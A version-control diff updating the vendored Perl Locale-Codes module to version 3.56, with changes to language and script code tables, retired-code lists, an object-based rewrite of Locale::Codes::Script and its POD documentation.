+      q(0283) => q(mkh),
+      q(0284) => q(mlg),
+      q(0285) => q(mlt),
+      q(0286) => q(mnc),
+      q(0287) => q(mni),
+      q(0288) => q(mno),
+      q(0289) => q(moh),
+      q(0290) => q(mon),
+      q(0291) => q(mos),
+      q(0292) => q(mul),
+      q(0293) => q(mun),
+      q(0294) => q(mus),
+      q(0295) => q(mwl),
+      q(0296) => q(mwr),
+      q(0297) => q(myn),
+      q(0298) => q(myv),
+      q(0299) => q(nah),
+      q(0300) => q(nai),
+      q(0301) => q(nap),
+      q(0302) => q(nau),
+      q(0303) => q(nav),
+      q(0304) => q(nbl),
+      q(0305) => q(nde),
+      q(0306) => q(ndo),
+      q(0307) => q(nds),
+      q(0308) => q(nep),
+      q(0309) => q(new),
+      q(0310) => q(nia),
+      q(0311) => q(nic),
+      q(0312) => q(niu),
+      q(0313) => q(nno),
+      q(0314) => q(nob),
+      q(0315) => q(nog),
+      q(0316) => q(non),
+      q(0317) => q(nor),
+      q(0318) => q(nqo),
+      q(0319) => q(nso),
+      q(0320) => q(nub),
+      q(0321) => q(nwc),
+      q(0322) => q(nya),
+      q(0323) => q(nym),
+      q(0324) => q(nyn),
+      q(0325) => q(nyo),
+      q(0326) => q(nzi),
+      q(0327) => q(oci),
+      q(0328) => q(oji),
+      q(0329) => q(ori),
+      q(0330) => q(orm),
+      q(0331) => q(osa),
+      q(0332) => q(oss),
+      q(0333) => q(ota),
+      q(0334) => q(oto),
+      q(0335) => q(paa),
+      q(0336) => q(pag),
+      q(0337) => q(pal),
+      q(0338) => q(pam),
+      q(0339) => q(pan),
+      q(0340) => q(pap),
+      q(0341) => q(pau),
+      q(0342) => q(peo),
+      q(0343) => q(fas),
+      q(0344) => q(phi),
+      q(0345) => q(phn),
+      q(0346) => q(pli),
+      q(0347) => q(pol),
+      q(0348) => q(pon),
+      q(0349) => q(por),
+      q(0350) => q(pra),
+      q(0351) => q(pro),
+      q(0352) => q(pus),
+      q(0353) => q(qtz),
+      q(0354) => q(que),
+      q(0355) => q(raj),
+      q(0356) => q(rap),
+      q(0357) => q(rar),
+      q(0358) => q(roa),
+      q(0359) => q(roh),
+      q(0360) => q(rom),
+      q(0361) => q(ron),
+      q(0362) => q(run),
+      q(0363) => q(rup),
+      q(0364) => q(rus),
+      q(0365) => q(sad),
+      q(0366) => q(sag),
+      q(0367) => q(sah),
+      q(0368) => q(sai),
+      q(0369) => q(sal),
+      q(0370) => q(sam),
+      q(0371) => q(san),
+      q(0372) => q(sas),
+      q(0373) => q(sat),
+      q(0374) => q(scn),
+      q(0375) => q(sco),
+      q(0376) => q(sel),
+      q(0377) => q(sem),
+      q(0378) => q(sga),
+      q(0379) => q(sgn),
+      q(0380) => q(shn),
+      q(0381) => q(sid),
+      q(0382) => q(sin),
+      q(0383) => q(sio),
+      q(0384) => q(sit),
+      q(0385) => q(sla),
+      q(0386) => q(slk),
+      q(0387) => q(slv),
+      q(0388) => q(sma),
+      q(0389) => q(sme),
+      q(0390) => q(smi),
+      q(0391) => q(smj),
+      q(0392) => q(smn),
+      q(0393) => q(smo),
+      q(0394) => q(sms),
+      q(0395) => q(sna),
+      q(0396) => q(snd),
+      q(0397) => q(snk),
+      q(0398) => q(sog),
+      q(0399) => q(som),
+      q(0400) => q(son),
+      q(0401) => q(sot),
+      q(0402) => q(spa),
+      q(0403) => q(srd),
+      q(0404) => q(srn),
+      q(0405) => q(srp),
+      q(0406) => q(srr),
+      q(0407) => q(ssa),
+      q(0408) => q(ssw),
+      q(0409) => q(suk),
+      q(0410) => q(sun),
+      q(0411) => q(sus),
+      q(0412) => q(sux),
+      q(0413) => q(swa),
+      q(0414) => q(swe),
+      q(0415) => q(syc),
+      q(0416) => q(syr),
+      q(0417) => q(tah),
+      q(0418) => q(tai),
+      q(0419) => q(tam),
+      q(0420) => q(tat),
+      q(0421) => q(tel),
+      q(0422) => q(tem),
+      q(0423) => q(ter),
+      q(0424) => q(tet),
+      q(0425) => q(tgk),
+      q(0426) => q(tgl),
+      q(0427) => q(tha),
+      q(0428) => q(bod),
+      q(0429) => q(tig),
+      q(0430) => q(tir),
+      q(0431) => q(tiv),
+      q(0432) => q(tkl),
+      q(0433) => q(tlh),
+      q(0434) => q(tli),
+      q(0435) => q(tmh),
+      q(0436) => q(tog),
+      q(0437) => q(ton),
+      q(0438) => q(tpi),
+      q(0439) => q(tsi),
+      q(0440) => q(tsn),
+      q(0441) => q(tso),
+      q(0442) => q(tuk),
+      q(0443) => q(tum),
+      q(0444) => q(tup),
+      q(0445) => q(tur),
+      q(0446) => q(tut),
+      q(0447) => q(tvl),
+      q(0448) => q(twi),
+      q(0449) => q(tyv),
+      q(0450) => q(udm),
+      q(0451) => q(uga),
+      q(0452) => q(uig),
+      q(0453) => q(ukr),
+      q(0454) => q(umb),
+      q(0455) => q(und),
+      q(0456) => q(urd),
+      q(0457) => q(uzb),
+      q(0458) => q(vai),
+      q(0459) => q(ven),
+      q(0460) => q(vie),
+      q(0461) => q(vol),
+      q(0462) => q(vot),
+      q(0463) => q(wak),
+      q(0464) => q(wal),
+      q(0465) => q(war),
+      q(0466) => q(was),
+      q(0467) => q(cym),
+      q(0468) => q(wen),
+      q(0469) => q(wln),
+      q(0470) => q(wol),
+      q(0471) => q(xal),
+      q(0472) => q(xho),
+      q(0473) => q(yao),
+      q(0474) => q(yap),
+      q(0475) => q(yid),
+      q(0476) => q(yor),
+      q(0477) => q(ypk),
+      q(0478) => q(zap),
+      q(0479) => q(zbl),
+      q(0480) => q(zen),
+      q(0481) => q(zgh),
+      q(0482) => q(zha),
+      q(0483) => q(znd),
+      q(0484) => q(zul),
+      q(0485) => q(zun),
+      q(0486) => q(zxx),
+      q(0487) => q(zza),
       },
 };
 

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language_Retired.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language_Retired.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language_Retired.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Nov 18 09:22:54 EST 2016
+#    Generated on: Fri Feb 23 12:58:17 EST 2018
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
 $Locale::Codes::Retired{'language'}{'alpha-2'}{'code'} = {
    q(in) => q(Indonesian),
@@ -67,13 +67,16 @@
    q(ime) => q(Imeraguen),
    q(izi) => q(Izi-Ezaa-Ikwo-Mgbo),
    q(jar) => q(Jarawa (Nigeria)),
+   q(jeg) => q(Jeng),
    q(kbf) => q(Kakauhua),
    q(kdv) => q(Kado),
    q(kgc) => q(Kasseng),
+   q(kgd) => q(Kataang),
    q(kgh) => q(Upper Tanudan Kalinga),
    q(koj) => q(Sara Dunjo),
    q(kox) => q(Coxima),
    q(kpp) => q(Paku Karen),
+   q(krm) => q(Krim),
    q(ktr) => q(Kota Marudu Tinagas),
    q(kvs) => q(Kunggara),
    q(kwq) => q(Kwak),
@@ -112,12 +115,18 @@
    q(pod) => q(Ponares),
    q(ppa) => q(Pao),
    q(ppr) => q(Piru),
+   q(prb) => q(Lua'),
    q(pry) => q(Pray 3),
+   q(puk) => q(Pu Ko),
    q(puz) => q(Purum Naga),
+   q(rie) => q(Rien),
    q(rna) => q(Runa),
+   q(rsi) => q(Rennellese Sign Language),
    q(sap) => q(Sanapana),
    q(sca) => q(Sansu),
    q(sgo) => q(Songa),
+   q(skk) => q(Sok),
+   q(snh) => q(Shinabo),
    q(svr) => q(Savara),
    q(tdu) => q(Tempasuk Dusun),
    q(tgg) => q(Tangga),
@@ -241,6 +250,8 @@
    q(bemba (democratic republic of congo)) => [ q(bmy), q(Bemba (Democratic Republic of Congo)) ],
    q(bhatola) => [ q(btl), q(Bhatola) ],
    q(blin) => [ q(byn), q(Blin) ],
+   q(bolo) => [ q(blv), q(Bolo) ],
+   q(bom) => [ q(bmf), q(Bom) ],
    q(borna (democratic republic of congo)) => [ q(bxx), q(Borna (Democratic Republic of Congo)) ],
    q(brek karen) => [ q(kvl), q(Brek Karen) ],
    q(burum-mindik) => [ q(bmu), q(Burum-Mindik) ],
@@ -259,6 +270,7 @@
    q(creoles and pidgins, french-based ) => [ q(cpf), q(Creoles and pidgins, French-based ) ],
    q(creoles and pidgins, portuguese-based ) => [ q(cpp), q(Creoles and pidgins, Portuguese-based ) ],
    q(cumeral) => [ q(cum), q(Cumeral) ],
+   q(cung) => [ q(cug), q(Cung) ],
    q(dakaka) => [ q(bpa), q(Dakaka) ],
    q(darling) => [ q(drl), q(Darling) ],
    q(daza) => [ q(dzd), q(Daza) ],
@@ -307,6 +319,7 @@
    q(irish, old (to 900)) => [ q(sga), q(Irish, Old (to 900)) ],
    q(izi-ezaa-ikwo-mgbo) => [ q(izi), q(Izi-Ezaa-Ikwo-Mgbo) ],
    q(jarawa (nigeria)) => [ q(jar), q(Jarawa (Nigeria)) ],
+   q(jeng) => [ q(jeg), q(Jeng) ],
    q(kabixi) => [ q(xbx), q(Kabixi) ],
    q(kachchi) => [ q(kfr), q(Kachchi) ],
    q(kadara) => [ q(kad), q(Kadara) ],
@@ -318,6 +331,7 @@
    q(kamba (brazil)) => [ q(xba), q(Kamba (Brazil)) ],
    q(karahawyana) => [ q(xkh), q(Karahawyana) ],
    q(kasseng) => [ q(kgc), q(Kasseng) ],
+   q(kataang) => [ q(kgd), q(Kataang) ],
    q(kayapa kallahan) => [ q(kak), q(Kayapa Kallahan) ],
    q(kemezung) => [ q(dmo), q(Kemezung) ],
    q(kenuzi-dongola) => [ q(kzh), q(Kenuzi-Dongola) ],
@@ -326,6 +340,8 @@
    q(kolum so dogon) => [ q(dkl), q(Kolum So Dogon) ],
    q(konkani) => [ q(kok), q(Konkani) ],
    q(kota marudu tinagas) => [ q(ktr), q(Kota Marudu Tinagas) ],
+   q(krim) => [ q(krm), q(Krim) ],
+   q(kru'ng 2) => [ q(krr), q(Kru'ng 2) ],
    q(kumak) => [ q(nee), q(Kumak) ],
    q(kuman) => [ q(kue), q(Kuman) ],
    q(kunggara) => [ q(kvs), q(Kunggara) ],
@@ -336,10 +352,12 @@
    q(lama (myanmar)) => [ q(lay), q(Lama (Myanmar)) ],
    q(lamam) => [ q(lmm), q(Lamam) ],
    q(lengua) => [ q(leg), q(Lengua) ],
+   q(lindu) => [ q(klw), q(Lindu) ],
    q(lingkhim) => [ q(lii), q(Lingkhim) ],
    q(louisiana creole french) => [ q(lou), q(Louisiana Creole French) ],
    q(lowa) => [ q(loy), q(Lowa) ],
    q(lower tanudan kalinga) => [ q(kml), q(Lower Tanudan Kalinga) ],
+   q(lua') => [ q(prb), q(Lua') ],
    q(luhu) => [ q(lcq), q(Luhu) ],
    q(mahei) => [ q(mja), q(Mahei) ],
    q(malakhel) => [ q(mld), q(Malakhel) ],
@@ -376,6 +394,7 @@
    q(nepal bhasa) => [ q(new), q(Nepal Bhasa) ],
    q(nga la) => [ q(hlt), q(Nga La) ],
    q(ngalkbun) => [ q(ngk), q(Ngalkbun) ],
+   q(ngeq) => [ q(ngt), q(Ngeq) ],
    q(ngong) => [ q(nnx), q(Ngong) ],
    q(ngura) => [ q(nbx), q(Ngura) ],
    q(nijadali) => [ q(nad), q(Nijadali) ],
@@ -392,8 +411,10 @@
    q(nung (myanmar)) => [ q(nun), q(Nung (Myanmar)) ],
    q(omati) => [ q(mgx), q(Omati) ],
    q(omejes) => [ q(ome), q(Omejes) ],
+   q(opuuo) => [ q(lgn), q(Opuuo) ],
    q(oriya (individual language)) => [ q(ory), q(Oriya (individual language)) ],
    q(ounge) => [ q(oue), q(Ounge) ],
+   q(ovdalian) => [ q(ovd), q(Ovdalian) ],
    q(palu) => [ q(pbz), q(Palu) ],
    q(palumata) => [ q(pmc), q(Palumata) ],
    q(panang) => [ q(pcr), q(Panang) ],
@@ -404,8 +425,11 @@
    q(pongyong) => [ q(pgy), q(Pongyong) ],
    q(pray 3) => [ q(pry), q(Pray 3) ],
    q(provencal, old (to 1500)) => [ q(pro), q(Provencal, Old (to 1500)) ],
+   q(pu ko) => [ q(puk), q(Pu Ko) ],
    q(purum naga) => [ q(puz), q(Purum Naga) ],
    q(pyu) => [ q(pby), q(Pyu) ],
+   q(rennellese sign language) => [ q(rsi), q(Rennellese Sign Language) ],
+   q(rien) => [ q(rie), q(Rien) ],
    q(runa) => [ q(rna), q(Runa) ],
    q(sakam) => [ q(skm), q(Sakam) ],
    q(san juan guelavia zapotec) => [ q(zab), q(San Juan Guelavia Zapotec) ],
@@ -418,7 +442,9 @@
    q(seraiki) => [ q(skr), q(Seraiki) ],
    q(shabo) => [ q(sbf), q(Shabo) ],
    q(shangzhai) => [ q(jih), q(Shangzhai) ],
+   q(shinabo) => [ q(snh), q(Shinabo) ],
    q(so (cameroon)) => [ q(sox), q(So (Cameroon)) ],
+   q(sok) => [ q(skk), q(Sok) ],
    q(songa) => [ q(sgo), q(Songa) ],
    q(south american indian (other)) => [ q(sai), q(South American Indian (Other)) ],
    q(south wemale) => [ q(tlw), q(South Wemale) ],

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,98 +1,94 @@
 package Locale::Codes::Script;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2016 Sullivan Beck
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
+use warnings;
 require 5.006;
-use warnings;
+use Exporter qw(import);
 
-require Exporter;
-use Carp;
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
+
+################################################################################
+use if $] >= 5.027007, 'deprecate';
 use Locale::Codes;
 use Locale::Codes::Constants;
-use Locale::Codes::Script_Codes;
-use Locale::Codes::Script_Retired;
 
-#=======================================================================
-#       Public Global Variables
-#=======================================================================
-
-our($VERSION, at ISA, at EXPORT, at EXPORT_OK);
-
-$VERSION='3.42';
- at ISA       = qw(Exporter);
- at EXPORT    = qw(code2script
+ at EXPORT    = qw(
+                code2script
                 script2code
                 all_script_codes
                 all_script_names
                 script_code2code
-                LOCALE_SCRIPT_ALPHA
-                LOCALE_SCRIPT_NUMERIC
                );
+push(@EXPORT, at Locale::Codes::Constants::CONSTANTS_SCRIPT);
 
+our $obj = new Locale::Codes('script');
+$obj->show_errors(0);
+
+sub show_errors {
+   my($val) = @_;
+   $obj->show_errors($val);
+}
+
 sub code2script {
-   return Locale::Codes::_code2name('script', at _);
+   return $obj->code2name(@_);
 }
 
 sub script2code {
-   return Locale::Codes::_name2code('script', at _);
+   return $obj->name2code(@_);
 }
 
 sub script_code2code {
-   return Locale::Codes::_code2code('script', at _);
+   return $obj->code2code(@_);
 }
 
 sub all_script_codes {
-   return Locale::Codes::_all_codes('script', at _);
+   return $obj->all_codes(@_);
 }
 
 sub all_script_names {
-   return Locale::Codes::_all_names('script', at _);
+   return $obj->all_names(@_);
 }
 
 sub rename_script {
-   return Locale::Codes::_rename('script', at _);
+   return $obj->rename_code(@_);
 }
 
 sub add_script {
-   return Locale::Codes::_add_code('script', at _);
+   return $obj->add_code(@_);
 }
 
 sub delete_script {
-   return Locale::Codes::_delete_code('script', at _);
+   return $obj->delete_code(@_);
 }
 
 sub add_script_alias {
-   return Locale::Codes::_add_alias('script', at _);
+   return $obj->add_alias(@_);
 }
 
 sub delete_script_alias {
-   return Locale::Codes::_delete_alias('script', at _);
+   return $obj->delete_alias(@_);
 }
 
 sub rename_script_code {
-   return Locale::Codes::_rename_code('script', at _);
+   return $obj->replace_code(@_);
 }
 
 sub add_script_code_alias {
-   return Locale::Codes::_add_code_alias('script', at _);
+   return $obj->add_code_alias(@_);
 }
 
 sub delete_script_code_alias {
-   return Locale::Codes::_delete_code_alias('script', at _);
+   return $obj->delete_code_alias(@_);
 }
 
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,92 +2,107 @@
 
 =head1 NAME
 
-Locale::Codes::Script - standard codes for script identification
+Locale::Codes::Script - module for dealing with script code sets
 
 =head1 SYNOPSIS
 
    use Locale::Codes::Script;
 
-   $script  = code2script('phnx');                     # 'Phoenician'
-   $code    = script2code('Phoenician');               # 'Phnx'
-   $code    = script2code('Phoenician',
-                          LOCALE_CODE_NUMERIC);        # 115
+   $name = code2script(CODE);
+   $code = script2code(NAME);
 
    @codes   = all_script_codes();
-   @scripts = all_script_names();
+   @names   = all_script_names();
 
 =head1 DESCRIPTION
 
-This module provides access to standards codes used
-for identifying scripts, such as those defined in ISO 15924.
+This module provides access to script code sets.
 
+Please refer to the L<Locale::Codes::Types> document for a description
+of the code sets available.
+
 Most of the routines take an optional additional argument which
-specifies the code set to use. If not specified, the default ISO
-15924 four-letter codes will be used.
+specifies the code set to use. The code set can be specified using the
+name of a code set, or the perl constant specified in the above
+document.  If not specified, the default code set will be used.
 
-=head1 SUPPORTED CODE SETS
+=head1 ROUTINES
 
-There are several different code sets you can use for identifying
-scripts. A code set may be specified using either a name, or a
-constant that is automatically exported by this module.
+All routines in this module call the appropriate method in the
+L<Locale::Codes> module, using an object of type: script
+Please refer to the documentation of the L<Locale::Codes> module
+for details about each function.
 
-For example, the two are equivalent:
+The following functions are exported automatically:
 
-   $script = code2script('phnx','alpha');
-   $script = code2script('phnx',LOCALE_SCRIPT_ALPHA);
+=over 4
 
-The codesets currently supported are:
+=item B<code2script(CODE [,CODESET] [,'retired'])>
 
-=over 4
+See B<code2name> in L<Locale::Codes>
 
-=item B<alpha, LOCALE_SCRIPT_ALPHA>
+=item B<script2code(NAME [,CODESET] [,'retired'])>
 
-This is a set of four-letter (capitalized) codes from ISO 15924
-such as 'Phnx' for Phoenician.  It also includes additions to this
-set included in the IANA language registry.
+See B<name2code> in L<Locale::Codes>
 
-The Zxxx, Zyyy, and Zzzz codes are not used.
+=item B<script_code2code(CODE ,CODESET ,CODESET2)>
 
-This is the default code set.
+See B<code2code> in L<Locale::Codes>
 
-=item B<num, LOCALE_SCRIPT_NUMERIC>
+=item B<all_script_codes([CODESET] [,'retired'])>
 
-This is a set of three-digit numeric codes from ISO 15924 such as 115
-for Phoenician.
+See B<all_codes> in L<Locale::Codes>
 
+=item B<all_script_names([CODESET] [,'retired'])>
+
+See B<all_names> in L<Locale::Codes>
+
 =back
 
-=head1 ROUTINES
+The following functions are not exported and must be called fully
+qualified with the package name:
 
 =over 4
 
-=item B<code2script(CODE [,CODESET] [,'retired'])>
+=item B<Locale::Codes::Script::show_errors(FLAG)>
 
-=item B<script2code(NAME [,CODESET] [,'retired'])>
+By default, invalid input will produce empty results, but no errors.  By
+passing in a non-zero value of FLAG, errors will be produced.
 
-=item B<script_code2code(CODE ,CODESET ,CODESET2)>
+See B<show_errors> in L<Locale::Codes> but note that the default for
+the non-OO modules are to NOT produce errors.
 
-=item B<all_script_codes([CODESET] [,'retired'])>
+=item B<Locale::Codes::Script::rename_script(CODE ,NEW_NAME [,CODESET])>
 
-=item B<all_script_names([CODESET] [,'retired'])>
+See B<rename_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::Script::rename_script(CODE ,NEW_NAME [,CODESET])>
-
 =item B<Locale::Codes::Script::add_script(CODE ,NAME [,CODESET])>
 
+See B<add_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Script::delete_script(CODE [,CODESET])>
 
+See B<delete_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Script::add_script_alias(NAME ,NEW_NAME)>
 
+See B<add_alias> in L<Locale::Codes>
+
 =item B<Locale::Codes::Script::delete_script_alias(NAME)>
 
+See B<delete_alias> in L<Locale::Codes>
+
 =item B<Locale::Codes::Script::rename_script_code(CODE ,NEW_CODE [,CODESET])>
 
+See B<replace_code> in L<Locale::Codes>
+
 =item B<Locale::Codes::Script::add_script_code_alias(CODE ,NEW_CODE [,CODESET])>
 
+See B<add_code_alias> in L<Locale::Codes>
+
 =item B<Locale::Codes::Script::delete_script_code_alias(CODE [,CODESET])>
 
-These routines are all documented in the L<Locale::Codes::API> man page.
+See B<delete_code_alias> in L<Locale::Codes>
 
 =back
 
@@ -99,18 +114,6 @@
 
 The Locale-Codes distribution.
 
-=item L<Locale::Codes::API>
-
-The list of functions supported by this module.
-
-=item L<http://www.unicode.org/iso15924/>
-
-Home page for ISO 15924.
-
-=item L<http://www.iana.org/assignments/language-subtag-registry>
-
-The IANA language subtag registry.
-
 =back
 
 =head1 AUTHOR
@@ -121,9 +124,7 @@
 
 =head1 COPYRIGHT
 
-   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
-   Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2016 Sullivan Beck
+   Copyright (c) 2011-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script_Codes.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script_Codes.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script_Codes.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Tue Nov 29 15:43:53 EST 2016
+#    Generated on: Fri Feb 23 12:55:05 EST 2018
 
 use strict;
 require 5.006;
@@ -11,9 +11,9 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
-$Locale::Codes::Data{'script'}{'id'} = '0180';
+$Locale::Codes::Data{'script'}{'id'} = '0195';
 
 $Locale::Codes::Data{'script'}{'id2names'} = {
    q(0001) => [
@@ -58,7 +58,9 @@
       q(Batak),
       ],
    q(0014) => [
+      q(Bengali (Bangla)),
       q(Bengali),
+      q(Bangla),
       ],
    q(0015) => [
       q(Bhaiksuki),
@@ -103,79 +105,91 @@
       q(Coptic),
       ],
    q(0029) => [
-      q(Cypriot),
+      q(Cypro-Minoan),
       ],
    q(0030) => [
+      q(Cypriot syllabary),
+      ],
+   q(0031) => [
       q(Cyrillic),
       ],
-   q(0031) => [
+   q(0032) => [
       q(Cyrillic (Old Church Slavonic variant)),
       ],
-   q(0032) => [
+   q(0033) => [
       q(Devanagari (Nagari)),
       q(Devanagari),
       q(Nagari),
       ],
-   q(0033) => [
+   q(0034) => [
+      q(Dogra),
+      ],
+   q(0035) => [
       q(Deseret (Mormon)),
       q(Deseret),
       q(Mormon),
       ],
-   q(0034) => [
+   q(0036) => [
       q(Duployan shorthand, Duployan stenography),
       q(Duployan shorthand),
       q(Duployan stenography),
       ],
-   q(0035) => [
+   q(0037) => [
       q(Egyptian demotic),
       ],
-   q(0036) => [
+   q(0038) => [
       q(Egyptian hieratic),
       ],
-   q(0037) => [
+   q(0039) => [
       q(Egyptian hieroglyphs),
       ],
-   q(0038) => [
+   q(0040) => [
       q(Elbasan),
       ],
-   q(0039) => [
+   q(0041) => [
       q(Ethiopic (Geez)),
       q(Ethiopic),
       q(Ge'ez),
       ],
-   q(0040) => [
+   q(0042) => [
       q(Khutsuri (Asomtavruli and Nuskhuri)),
       ],
-   q(0041) => [
-      q(Georgian (Mkhedruli)),
+   q(0043) => [
+      q(Georgian (Mkhedruli and Mtavruli)),
       ],
-   q(0042) => [
+   q(0044) => [
       q(Glagolitic),
       ],
-   q(0043) => [
+   q(0045) => [
+      q(Gunjala Gondi),
+      ],
+   q(0046) => [
+      q(Masaram Gondi),
+      ],
+   q(0047) => [
       q(Gothic),
       ],
-   q(0044) => [
+   q(0048) => [
       q(Grantha),
       ],
-   q(0045) => [
+   q(0049) => [
       q(Greek),
       ],
-   q(0046) => [
+   q(0050) => [
       q(Gujarati),
       ],
-   q(0047) => [
+   q(0051) => [
       q(Gurmukhi),
       ],
-   q(0048) => [
+   q(0052) => [
       q(Han with Bopomofo (alias for Han + Bopomofo)),
       ],
-   q(0049) => [
+   q(0053) => [
       q(Hangul (Hangul, Hangeul)),
       q(Hangul),
       q(Hangeul),
       ],
-   q(0050) => [
+   q(0054) => [
       q(Han (Hanzi, Kanji, Hanja)),
       q(Han),
       q(Hanzi),
@@ -182,180 +196,191 @@
       q(Kanji),
       q(Hanja),
       ],
-   q(0051) => [
+   q(0055) => [
       q(Hanunoo (Hanunoo)),
       q(Hanunoo),
       ],
-   q(0052) => [
+   q(0056) => [
       q(Han (Simplified variant)),
       ],
-   q(0053) => [
+   q(0057) => [
       q(Han (Traditional variant)),
       ],
-   q(0054) => [
+   q(0058) => [
       q(Hatran),
       ],
-   q(0055) => [
+   q(0059) => [
       q(Hebrew),
       ],
-   q(0056) => [
+   q(0060) => [
       q(Hiragana),
       ],
-   q(0057) => [
+   q(0061) => [
       q(Anatolian Hieroglyphs (Luwian Hieroglyphs, Hittite Hieroglyphs)),
       q(Anatolian Hieroglyphs),
       q(Luwian Hieroglyphs),
       q(Hittite Hieroglyphs),
       ],
-   q(0058) => [
+   q(0062) => [
       q(Pahawh Hmong),
       ],
-   q(0059) => [
+   q(0063) => [
+      q(Nyiakeng Puachue Hmong),
+      ],
+   q(0064) => [
       q(Japanese syllabaries (alias for Hiragana + Katakana)),
       ],
-   q(0060) => [
+   q(0065) => [
       q(Old Hungarian (Hungarian Runic)),
       q(Old Hungarian),
       q(Hungarian Runic),
       ],
-   q(0061) => [
+   q(0066) => [
       q(Indus (Harappan)),
       q(Indus),
       q(Harappan),
       ],
-   q(0062) => [
+   q(0067) => [
       q(Old Italic (Etruscan, Oscan, etc.)),
       ],
-   q(0063) => [
+   q(0068) => [
       q(Jamo (alias for Jamo subset of Hangul)),
       ],
-   q(0064) => [
+   q(0069) => [
       q(Javanese),
       ],
-   q(0065) => [
+   q(0070) => [
       q(Japanese (alias for Han + Hiragana + Katakana)),
       ],
-   q(0066) => [
+   q(0071) => [
       q(Jurchen),
       ],
-   q(0067) => [
+   q(0072) => [
       q(Kayah Li),
       ],
-   q(0068) => [
+   q(0073) => [
       q(Katakana),
       ],
-   q(0069) => [
+   q(0074) => [
       q(Kharoshthi),
       ],
-   q(0070) => [
+   q(0075) => [
       q(Khmer),
       ],
-   q(0071) => [
+   q(0076) => [
       q(Khojki),
       ],
-   q(0072) => [
+   q(0077) => [
       q(Khitan large script),
       ],
-   q(0073) => [
+   q(0078) => [
       q(Khitan small script),
       ],
-   q(0074) => [
+   q(0079) => [
       q(Kannada),
       ],
-   q(0075) => [
+   q(0080) => [
       q(Korean (alias for Hangul + Han)),
       ],
-   q(0076) => [
+   q(0081) => [
       q(Kpelle),
       ],
-   q(0077) => [
+   q(0082) => [
       q(Kaithi),
       ],
-   q(0078) => [
+   q(0083) => [
       q(Tai Tham (Lanna)),
       q(Tai Tham),
       q(Lanna),
       ],
-   q(0079) => [
+   q(0084) => [
       q(Lao),
       ],
-   q(0080) => [
+   q(0085) => [
       q(Latin (Fraktur variant)),
       ],
-   q(0081) => [
+   q(0086) => [
       q(Latin (Gaelic variant)),
       ],
-   q(0082) => [
+   q(0087) => [
       q(Latin),
       ],
-   q(0083) => [
+   q(0088) => [
       q(Leke),
       ],
-   q(0084) => [
+   q(0089) => [
       q(Lepcha (Rong)),
       q(Lepcha),
       q(Rong),
       ],
-   q(0085) => [
+   q(0090) => [
       q(Limbu),
       ],
-   q(0086) => [
+   q(0091) => [
       q(Linear A),
       ],
-   q(0087) => [
+   q(0092) => [
       q(Linear B),
       ],
-   q(0088) => [
+   q(0093) => [
       q(Lisu (Fraser)),
       q(Lisu),
       q(Fraser),
       ],
-   q(0089) => [
+   q(0094) => [
       q(Loma),
       ],
-   q(0090) => [
+   q(0095) => [
       q(Lycian),
       ],
-   q(0091) => [
+   q(0096) => [
       q(Lydian),
       ],
-   q(0092) => [
+   q(0097) => [
       q(Mahajani),
       ],
-   q(0093) => [
+   q(0098) => [
+      q(Makasar),
+      ],
+   q(0099) => [
       q(Mandaic, Mandaean),
       q(Mandaic),
       q(Mandaean),
       ],
-   q(0094) => [
+   q(0100) => [
       q(Manichaean),
       ],
-   q(0095) => [
+   q(0101) => [
       q(Marchen),
       ],
-   q(0096) => [
+   q(0102) => [
       q(Mayan hieroglyphs),
       ],
-   q(0097) => [
+   q(0103) => [
+      q(Medefaidrin (Oberi Okaime, Oberi Okaime)),
+      q(Medefaidrin),
+      q(Oberi Okaime),
+      ],
+   q(0104) => [
       q(Mende Kikakui),
       ],
